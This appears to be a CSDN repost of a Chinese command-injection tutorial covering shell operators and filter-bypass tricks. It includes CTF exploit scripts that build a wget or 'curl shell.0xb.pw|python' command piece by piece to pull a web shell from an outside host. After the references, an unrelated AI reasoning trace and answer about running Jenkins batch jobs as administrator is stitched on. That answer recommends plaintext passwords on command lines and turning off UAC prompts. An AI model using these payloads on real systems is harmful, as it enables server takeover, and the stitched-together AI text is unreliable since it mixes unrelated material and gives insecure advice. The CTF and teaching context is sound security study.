命令注入 bypass list

本文深入解析命令注入攻击,涵盖常用符号、输入/输出重定向、正则表达式及绕过技巧,通过实例演示如何利用长度限制和关键字过滤的漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

真的全啊,备份下。原文

https://xz.aliyun.com/t/3918

 

命令注入

OS命令注入(也称为shell注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏宿主基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。

前置知识

说到命令注入,我们不得不提到命令注入中几个常用的符号。

&&

语法格式如下:
command1 && command2 [&& command3 ...]
1 命令之间使用 && 连接,实现逻辑与的功能。
2 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。
3 只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。

|(管道符号)

| 表示管道,上一条命令的输出,作为下一条命令的参数

||

语法格式如下:
command1 || command2 [|| command3 ...]
1 命令之间使用 || 连接,实现逻辑或的功能。
2 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻辑或操作。
3 只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。

&

& 表示将任务置于后台执行

;(分号)

多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

``和$()

在bash中,$( )与` `(反引号)都是用来作命令替换的。
各自的优缺点:
1. ` ` 基本上可用在全部的 unix shell 中使用,若写成 shell脚本,其移植性比较高,但反单引号容易打错或看错。
2. $()更有可读性,但是$()并不是所有shell都支持。

()和{}

如果希望把几个命令合在一起执行,shell提供了两种方法。既可以在当前shell也可以在子shell中执行一组命令。
(command1;command2;command3....)
{ command1;command2;command3…} #第一条命令必须与左边的括号有一个空格,最后一条命令一定要有分号

相同点:
()和{}都是把一串的命令放在括号里面,并且命令之间用;号隔开
不同点
()只是对一串命令重新开一个子shell进行执行,{}对一串命令在当前shell执行
()最后一个命令可以不用分号,{}最后一个命令要用分号
()里的第一个命令和左边括号不必有空格,{}的第一个命令和左括号之间必须要有一个空格
()和{}中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令

Shell 输入/输出重定向

来自菜鸟教程:

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端。
命令说明:
command > file:将输出重定向到 file。
command < file:将输入重定向到 file。
command >> file:将输出以追加的方式重定向到 file。
n > file:将文件描述符为 n 的文件重定向到 file。
n >> file:将文件描述符为 n 的文件以追加的方式重定向到 file。
n >& m:将输出文件 m 和 n 合并。
n <& m:将输入文件 m 和 n 合并。
<< tag:将开始标记 tag 和结束标记 tag 之间的内容作为输入。

需要注意的是文件描述符 0 通常是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。

正则表达式

^
匹配输入字符串的开始位置。

$
匹配输入字符串的结束位置。

*
匹配前面的子表达式零次或多次

+
匹配前面的子表达式一次或多次。

?
匹配前面的子表达式零次或一次。

{n}
n 是一个非负整数。匹配确定的 n 次。

{n,}
n 是一个非负整数。至少匹配n 次。

{n,m}
m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。

?
当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。

.
匹配除换行符(\n、\r)之外的任何单个字符。

[xyz]
字符集合。匹配所包含的任意一个字符。

还有一些内置的通用字符簇

[[:alpha:]] 任何字母
[[:digit:]] 任何数字
[[:alnum:]] 任何字母和数字
[[:space:]] 任何空白字符
[[:upper:]] 任何大写字母
[[:lower:]] 任何小写字母
[[:punct:]] 任何标点符号
[[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]

示例

一些常见的限制

通配符*和?的使用

[]和{}的使用

{...}与[...]有一个很重要的区别。如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开。

空格绕过

使用<和>

使用特殊变量:$IFS

IFS的默认值为:空白(包括:空格,tab, 和新行)

关键字过滤绕过

使用$*$@$x(x代表1-9),${x}(x>=10)
PS:因为在没有传参的情况下,上面的特殊变量都是为空的

使用反斜杠

使用变量

使用特殊变量${9}

${9}对应空字符串

使用编码
base64

16进制

8进制

使用双引号和单引号

花括号还有一种用法:{command,argument},

使用%0a(\n),%0d(\r),%09(\t)等字符也可以bypass一些过滤,这里就会不多去赘述了

长度限制

例题1

<?php
    $param = $_POST['param'];
    if(strlen($param) < 17){
        eval($param);
    }
?>

很简单,长度不能大于等于17,直接在eval里面再用一个eval就可以了。

例题2

<?php
if(strlen($_GET[1])<8){
    echo shell_exec($_GET[1]);
}
?>

这里要用到我们前面所讲到的重定向,n > file:将文件描述符为 n 的文件重定向到 file。
既然我们不能一次执行一条完整的命令,我们可以分为多次
举个简单的例子

ls是默认以文件名排序的,所以我们为了控制我们命令的顺序,可以使用ls -t按时间逆序。
不过这里考虑到直接写shell有点麻烦(因为php中的一些符号用到shell中是有意义的,要各种转义,为了节省代码量我们直接用curl或者是wget从服务器dump一个shell下来)
exp如下:

import requests
name=[">php\\",">\\ 1.\\\\",">\\ -O\\\\",">cn\\\\",">\\ a.\\\\",">wget\\\\"]
#可以修改hosts文件,让a.cn指向一个自己的服务器。
#index.html是一个php的shell
url="http://192.168.163.128/test.php"
for x in name:
    print x
    param={'1':x}
    a=requests.get(url,params=param)
param1={'1':'ls -t>a'}
param2={'1':'sh a'}
requests.get(url,params=param1)
requests.get(url,params=param2)
b=requests.get("http://192.168.163.128/1.php")
if b.status_code == 200:
    print "ok!"
else:
    print "bad!"


可以发现成功写了shell

例题3

HITCON CTF 2017-BabyFirst Revenge

<?php
   $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
   @mkdir($sandbox);
   @chdir($sandbox);
   if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
       @exec($_GET['cmd']);
   } else if (isset($_GET['reset'])) {
       @exec('/bin/rm -rf ' . $sandbox);
   }
   highlight_file(__FILE__);

这个字符长度限制不能大于5个,我们写字符还是可以的,但是我们的ls -t>a用不了,不过我们可以用前面的思路,把ls -t>a拆分为几段放在一个文件中,然后再执行。


可以发现2-5行是可以执行ls -t>g的,然后后面的步骤就和前面一题一样了,这里就不多赘述了
贴一下Orange师傅的exp:

import requests
from time import sleep
from urllib import quote
payload = [
   # generate `ls -t>g` file
   '>ls\\', 
   'ls>_', 
   '>\ \\', 
   '>-t\\', 
   '>\>g', 
   'ls>>_', 
   # generate `curl orange.tw.tw>python`
   # curl shell.0xb.pw|python
   '>on', 
   '>th\\', 
   '>py\\',
   '>\|\\', 
   '>pw\\', 
   '>x.\\',
   '>xx\\', 
   '>l.\\', 
   '>el\\', 
   '>sh\\', 
   '>\ \\', 
   '>rl\\', 
   '>cu\\', 
   # exec
   'sh _', 
   'sh g', 
]
# r = requests.get('http://localhost/tmp/?reset=1')
for i in payload:
   assert len(i) <= 5 
   r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )
   print i
   sleep(0.2)

Reference

https://portswigger.net/web-security/os-command-injection
https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw

<think>我们正在解决如何在Jenkins中以管理员权限执行Windows批处理命令的问题。根据用户提供的信息,我们之前讨论了如何在Jenkins中执行PowerShell脚本,但现在用户的需求是执行批处理命令并且需要管理员权限。 在Windows系统中,普通用户权限运行的程序(如Jenkins服务默认以SYSTEM账户运行)通常已经具有较高权限,但有时某些操作(例如安装服务、修改系统设置等)需要明确以管理员身份运行。我们可以通过以下方法实现: 方法一:在批处理命令中使用runas命令(需要知道管理员密码) 方法二:通过计划任务以管理员权限运行(无需密码,但需要预先配置) 方法三:修改Jenkins服务的运行账户为管理员账户(不推荐,有安全风险) 然而,在Jenkins中,我们通常希望自动化且安全地执行,所以推荐以下两种方式: 推荐方法:使用PowerShell命令提升权限(需要管理员账户和密码) 我们可以通过PowerShell命令来启动一个以管理员身份运行的进程。但是,我们需要在命令中提供管理员密码,这显然不安全。因此,我们可以结合Jenkins的凭证管理来安全地传递密码。 步骤: 1. 在Jenkins中存储管理员凭据(用户名和密码)。 2. 在批处理命令中,使用PowerShell命令,通过读取Jenkins注入的环境变量(包含密码)来运行提升权限的脚本。 但是,请注意,在批处理命令中直接使用密码可能会在日志中暴露。因此,我们需要使用PowerShell的SecureString来避免明文密码出现在命令行中。 然而,在批处理步骤中执行复杂的权限提升可能比较麻烦。另一种思路是:将需要管理员权限的操作单独写在一个批处理文件中,然后通过一个PowerShell脚本来调用这个批处理文件,并在PowerShell脚本中实现权限提升。 具体操作: 1. 编写一个批处理文件(例如:admin_task.bat),其中包含需要管理员权限执行的命令。 2. 在Jenkins中,使用一个PowerShell构建步骤来调用这个批处理文件,并在PowerShell脚本中使用Start-Process命令并指定-Verb RunAs来提升权限。 但是,由于UAC(用户账户控制)的存在,交互式提升权限会弹出提示,这显然在自动化中是不可行的。因此,我们需要预先配置Windows以允许无提示提升权限,或者使用任务计划程序。 考虑到这些复杂性,通常在生产环境中,我们会将Jenkins服务配置为以管理员账户运行(但不推荐),或者使用Windows服务账户(SYSTEM账户本身具有管理员权限)来运行,然后确保在需要管理员权限的操作上,Jenkins服务账户有足够的权限。 然而,用户可能遇到的情况是:Jenkins服务账户(如SYSTEM)有管理员权限,但某些操作仍然需要明确以管理员身份运行(因为UAC或应用程序要求)。这时,我们可以尝试在批处理命令前加上一段代码来绕过UAC的权限提升提示(但这需要修改系统设置,通常不推荐)。 因此,我们回到一个更常见的做法:使用计划任务来以管理员权限运行脚本。 步骤: 1. 创建一个计划任务,该任务以最高权限运行,并设置为“无需用户登录”和“运行时不显示”。 2. 在Jenkins的批处理步骤中,使用schtasks命令来运行这个计划任务。 计划任务的配置可以预先在目标机器上设置好,也可以在Jenkins中通过命令创建(但需要管理员权限)。 由于配置计划任务比较复杂,这里我们提供一种使用PowerShell脚本来提升权限的方法,并配合Jenkins的凭证管理,同时避免密码暴露。 具体步骤: 1. 在Jenkins中,创建一个“Secret text”类型的凭据,存储管理员密码(假设凭据ID为ADMIN_PASSWORD)。 2. 在Jenkins任务配置中,添加“Inject passwords to the build as environment variables”步骤,将密码注入为环境变量(例如ADMIN_PASS)。 3. 在“Execute Windows batch command”构建步骤中,编写如下命令: ```batch set ADMIN_USER=Administrator set BATCH_SCRIPT_PATH=%WORKSPACE%\admin_task.bat powershell.exe -Command "Start-Process -FilePath cmd.exe -ArgumentList '/c %BATCH_SCRIPT_PATH%' -Verb RunAs -Wait -WindowStyle Hidden -Credential (New-Object System.Management.Automation.PSCredential('%ADMIN_USER%', (ConvertTo-SecureString '%ADMIN_PASS%' -AsPlainText -Force)))" ``` 注意:这种方法会启动一个新的命令提示符窗口(隐藏)并以管理员身份运行批处理脚本。但是,它要求Jenkins运行账户有权限创建进程(通常有),并且能够传递凭据。 然而,这种方法在Windows Server上可能会遇到问题,因为默认情况下不允许非交互式会话创建交互式窗口。我们可以尝试添加`-WindowStyle Hidden`来避免窗口出现,但可能仍然需要修改组策略。 另一种方法是使用计划任务临时创建任务并运行: ```batch set TASK_NAME=JenkinsAdminTask_%RANDOM% set BATCH_SCRIPT_PATH=%WORKSPACE%\admin_task.bat schtasks /create /tn %TASK_NAME% /tr "%BATCH_SCRIPT_PATH%" /sc once /ru Administrator /rp %ADMIN_PASS% /st 00:00 /f schtasks /run /tn %TASK_NAME% schtasks /delete /tn %TASK_NAME% /f ``` 但是,这种方法会在日志中暴露密码(在schtasks /create命令中),因此不推荐。 因此,我们回到使用PowerShell的方式,并尝试避免密码暴露在命令行中。我们可以将密码通过文件传递(虽然复杂,但安全),或者使用更高级的凭据传递方式。然而,在Jenkins中,我们通过环境变量传递密码,并且在PowerShell命令中直接使用,虽然命令历史不会保留,但可能在进程列表中短暂可见。因此,这种方式仍然存在一定的风险。 考虑到这些,如果用户的环境允许,最好的做法是让Jenkins服务以管理员账户运行(在安装Jenkins服务时指定一个管理员账户),这样所有构建步骤都默认具有管理员权限。 如果用户不能修改Jenkins服务账户,那么可以考虑使用以下方法: 方法:使用PowerShell脚本并将密码通过管道传递(避免在命令行参数中显示) 在批处理步骤中: ```batch echo %ADMIN_PASS% | powershell -Command "$pwd = $input | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('Administrator', $pwd); Start-Process -FilePath cmd.exe -ArgumentList '/c %BATCH_SCRIPT_PATH%' -Verb RunAs -Wait -WindowStyle Hidden -Credential $cred" ``` 这样,密码不会在命令行参数中出现,而是通过标准输入传递给PowerShell。但是,注意:在Jenkins的日志中,如果开启了命令回显,那么echo命令会暴露密码。因此,我们需要在批处理步骤中关闭命令回显。 我们可以使用以下方式关闭回显: ```batch @echo off setlocal set ADMIN_USER=Administrator set BATCH_SCRIPT_PATH=%WORKSPACE%\admin_task.bat (echo %ADMIN_PASS%) | powershell.exe -Command "$pwd = $input | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('%ADMIN_USER%', $pwd); Start-Process -FilePath cmd.exe -ArgumentList '/c %BATCH_SCRIPT_PATH%' -Verb RunAs -Wait -WindowStyle Hidden -Credential $cred" endlocal ``` 但是,在Jenkins的批处理步骤中,默认是开启回显的,而且我们无法在Jenkins界面中关闭整个步骤的回显(除非在批处理命令中自己用@echo off)。但是,Jenkins会记录所有输出。因此,我们还需要确保Jenkins不会记录密码。 我们可以通过以下方式避免在日志中输出密码: ```batch @echo off setlocal set ADMIN_USER=Administrator set BATCH_SCRIPT_PATH=%WORKSPACE%\admin_task.bat :: 重定向输出,避免显示echo命令 >nul 2>&1 ( echo %ADMIN_PASS% ) | powershell.exe -Command "$pwd = $input | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('%ADMIN_USER%', $pwd); Start-Process -FilePath cmd.exe -ArgumentList '/c %BATCH_SCRIPT_PATH%' -Verb RunAs -Wait -WindowStyle Hidden -Credential $cred" endlocal ``` 但是,这仍然不能完全保证安全,因为密码存储在环境变量中,而且在管道传输时可能被其他方式截获。因此,我们建议仅在测试环境中使用,生产环境应寻求其他安全方案。 考虑到这些复杂性,如果用户的操作系统是Windows Server 2012 R2及以上,并且允许使用JEA(Just Enough Administration)等更安全的权限管理方式,那么建议采用更安全的方法。 鉴于以上,我们给出一个折中的方案:如果用户的环境是受控的,并且可以接受将密码通过Jenkins凭据注入环境变量,那么使用上述通过管道传递密码的方法,并确保在Jenkins中关闭命令回显(在批处理命令中使用@echo off)并避免在日志中打印密码。 在Jenkins中,我们可以通过以下方式避免在日志中输出密码: - 在Jenkins任务配置中,勾选“Hide sensitive information in console output”(需要Mask Passwords插件)[^1]。 - 或者,在批处理命令中,对于包含密码的行,使用`set +x`(在批处理中不适用)或通过重定向避免输出。 但是,Jenkins默认不会记录环境变量的值(除非你打印它们)。因此,我们只要确保不打印`ADMIN_PASS`环境变量即可。 因此,我们最终的批处理命令如下: ```batch @echo off setlocal set ADMIN_USER=Administrator set BATCH_SCRIPT_PATH=%WORKSPACE%\admin_task.bat :: 注意:这里我们将密码通过管道传递给PowerShell,避免在命令行参数中显示 (echo %ADMIN_PASS%) | powershell.exe -Command "$pwd = $input | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('%ADMIN_USER%', $pwd); Start-Process -FilePath cmd.exe -ArgumentList '/c \"%BATCH_SCRIPT_PATH%\"' -Verb RunAs -Wait -WindowStyle Hidden -Credential $cred" endlocal ``` 注意:在ArgumentList中传递的批处理文件路径如果包含空格,需要转义(这里用双引号括起来,并在内部使用转义双引号)。 同时,我们假设管理员用户名是Administrator,如果不是,请替换。 另外,确保在Jenkins任务中,我们通过“Inject passwords”将密码注入为环境变量ADMIN_PASS。 步骤总结: 1. 在Jenkins中创建Secret text类型的凭据,记录凭据ID(例如ADMIN_PASSWORD)。 2. 在任务配置中,添加构建环境:“Use secret text(s) or file(s)”,然后绑定该凭据到环境变量ADMIN_PASS。 3. 在“Execute Windows batch command”步骤中,使用上面的批处理命令。 但是,请注意,这种方法可能因为系统安全策略(如UAC)而失败。如果遇到问题,请检查目标机器的UAC设置(可能需要禁用UAC)或者使用其他方法。 如果上述方法不行,还可以尝试使用PsExec工具(来自Sysinternals),它有一个`-h`参数可以以管理员权限运行命令。但同样需要提供密码。 ```batch psexec -u Administrator -p %ADMIN_PASS% -h -d cmd /c "%BATCH_SCRIPT_PATH%" ``` 但同样存在密码暴露的问题。我们可以将密码通过管道传递给PsExec(但PsExec不支持从标准输入读取密码)。因此,这种方法并不比PowerShell的方法更优。 综上所述,我们推荐使用PowerShell的方法,并注意安全措施。 如果用户不需要在批处理文件中执行多个命令,也可以考虑将所有命令写入一个PowerShell脚本,并在PowerShell脚本中实现权限提升,然后通过Jenkins的PowerShell插件执行该脚本。这样可能更简洁。 例如,在Jenkins任务中添加一个PowerShell构建步骤,内容如下: ```powershell $scriptContent = @" # 这里放置需要以管理员权限运行的命令 net start MyService "@ $scriptBytes = [System.Text.Encoding]::Unicode.GetBytes($scriptContent) $encodedCommand = [Convert]::ToBase64String($scriptBytes) $startProcessArgs = @{ FilePath = 'powershell.exe' ArgumentList = '-ExecutionPolicy Bypass -EncodedCommand {0}' -f $encodedCommand Verb = 'RunAs' Wait = $true WindowStyle = 'Hidden' } Start-Process @startProcessArgs ``` 这种方法不需要单独的文件,但需要将命令编码为Base64以避免引号问题。 但是,如果命令复杂,编码可能比较麻烦。因此,我们也可以将命令写在一个单独的脚本文件中,然后在PowerShell步骤中读取并执行: ```powershell $filePath = Join-Path $env:WORKSPACE "admin_task.ps1" $startProcessArgs = @{ FilePath = 'powershell.exe' ArgumentList = "-ExecutionPolicy Bypass -File `"$filePath`"" Verb = 'RunAs' Wait = $true WindowStyle = 'Hidden' } Start-Process @startProcessArgs ``` 然后,将需要管理员权限的命令写在admin_task.ps1文件中。 这样,在Jenkins的PowerShell步骤中,我们只是启动一个以管理员身份运行的PowerShell进程来执行另一个脚本。这种方法不需要处理批处理,而且更符合PowerShell的习惯。 因此,如果用户允许使用PowerShell,我们推荐这种方式。 总结:根据用户的具体情况选择方案。如果坚持使用批处理,则采用第一种通过管道传递密码的方式;如果可以使用PowerShell,则采用在PowerShell步骤中启动管理员权限的PowerShell进程执行脚本的方式。 相关问题: 1. 如何在Jenkins中安全地存储和使用Windows管理员密码? 2. 如何配置Jenkins服务以管理员账户运行? 3. 如何避免在Jenkins日志中暴露敏感信息? 4. 如何在没有UAC提示的情况下以管理员权限运行程序? 5. 在Windows Server上,如何允许非交互式会话运行交互式程序? 注意:以上方案在实际执行中可能会因为系统安全策略的不同而遇到各种问题,请根据具体环境调整。 引用说明: [^1]: 在Jenkins中,我们可以使用“Mask Passwords”插件来隐藏控制台输出中的密码。安装插件后,在任务配置的构建环境中勾选“Mask passwords”选项,并将密码变量添加到要隐藏的变量列表中。</think>### 在 Jenkins 中以管理员权限执行 Windows 批处理命令的配置方法 在 Jenkins 中以管理员权限执行批处理命令有几种实现方式,以下是具体配置步骤: --- #### 方法一:通过 PowerShell 提升权限(推荐) 1. **在批处理命令步骤中使用 PowerShell 提权**: ```batch powershell -Command "Start-Process cmd -ArgumentList '/c \"你的批处理命令\"' -Verb RunAs -Wait" ``` - 示例:执行需要管理员权限的部署命令 ```batch powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\deploy.bat\"' -Verb RunAs -Wait" ``` 2. **带参数的命令写法**: ```batch powershell -Command "$proc = Start-Process cmd.exe -ArgumentList '/c \"%WORKSPACE%\deploy.bat\"' -Verb RunAs -PassThru -Wait; exit $proc.ExitCode" ``` - `-PassThru` 和 `exit $proc.ExitCode` 确保正确返回退出代码[^2] --- #### 方法二:修改 Jenkins 服务账户权限 1. **将 Jenkins 服务改为管理员账户运行**: - 打开 `services.msc` - 找到 `Jenkins` 服务 → 右键属性 → 登录选项卡 - 选择 "此账户" → 输入管理员账户和密码 - 重启 Jenkins 服务 2. **验证权限**: ```batch whoami /groups | findstr "S-1-5-32-544" ``` 如果返回结果包含 `BUILTIN\Administrators` 表示成功 --- #### 方法三:通过计划任务提权 1. **创建提权脚本** (`admin-run.bat`): ```batch schtasks /run /tn "AdminTask" /s localhost ``` 2. **在 Jenkins 中配置**: ```batch :: 创建管理员任务(只需运行一次) schtasks /create /tn "AdminTask" /tr "C:\your_script.bat" /ru Administrator /rp 你的密码 /sc onstart /f :: 执行任务 call admin-run.bat ``` --- #### 方法四:使用 PsExec 工具 1. **下载 PsTools**: - 从 [Sysinternals](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec) 下载 2. **在批处理命令中配置**: ```batch psexec -u Administrator -p 密码 -h -accepteula -d cmd /c "你的命令" ``` - `-h`:以管理员权限运行 - `-d`:不等待命令完成 --- ### 安全凭据管理(关键步骤) 1. **添加 Jenkins 凭据**: - 进入 **Dashboard > Credentials > System > Global credentials** - 添加 `Username with password` 类型凭据 - ID 设为 `WIN_ADMIN_CREDS`(示例) 2. **在任务中注入凭据**: ```batch powershell -Command "$cred = New-Object pscredential('${env:ADMIN_USER}', (ConvertTo-SecureString '${env:ADMIN_PASS}' -AsPlainText -Force)); Start-Process cmd -ArgumentList '/c \"deploy.bat\"' -Credential $cred -Verb RunAs -Wait" ``` --- ### 完整配置示例 ```batch :: 步骤1:提升权限执行部署 powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Program Files\IIS\Microsoft Web Deploy V3\msdeploy.exe\" -verb:sync -source:contentpath=%WORKSPACE%\bin\ -dest:contentpath=C:\DeployPath\' -Verb RunAs -Wait" :: 步骤2:重启服务(管理员权限) powershell -Command "Start-Process net -ArgumentList 'start YourService' -Verb RunAs -Wait" ``` --- ### 常见问题解决 1. **权限拒绝错误**: ```batch :: 添加策略绕过 powershell -ExecutionPolicy Bypass -Command "..." ``` 2. **UAC弹窗阻止**: - 修改组策略:`gpedit.msc` → 计算机配置 > Windows设置 > 安全设置 > 本地策略 > 安全选项 - 将 "用户账户控制:管理员批准模式中管理员的提升权限提示的行为" 设为 **不提示,直接提升** 3. **密码特殊字符转义**: ```batch :: 用反斜杠转义特殊字符 psexec -u Admin -p P\@ssw0rd\! ... ``` 4. **服务账户权限验证**: ```batch :: 在批处理命令中添加 whoami && net localgroup Administrators ``` --- ### 最佳实践建议 1. **最小权限原则**:仅对必要命令提权,而非整个脚本 2. **日志记录**:在提权命令中添加日志记录 ```batch powershell -Command "... 2>&1 | Tee-Object -FilePath C:\logs\admin.log" ``` 3. **凭据轮换**:定期更新管理员密码 4. **审计跟踪**:启用 Windows 安全审计策略监控特权操作 --- ### 相关问题 1. 如何在 Jenkins 中安全地存储和使用 Windows 管理员凭据? 2. 如何通过 Jenkins 远程执行多台 Windows 服务器的管理员命令? 3. 如何避免在 Jenkins 日志中暴露敏感命令参数? 4. 在 Docker 化的 Jenkins 中如何实现 Windows 管理员权限操作? 5. 如何监控和审计 Jenkins 执行的特权操作? > 推荐优先使用方法一(PowerShell 提权),它不需要额外工具且能与 Jenkins 凭据系统成。对于生产环境,务必通过 Jenkins 凭据管理系统传递密码,避免硬编码密码[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值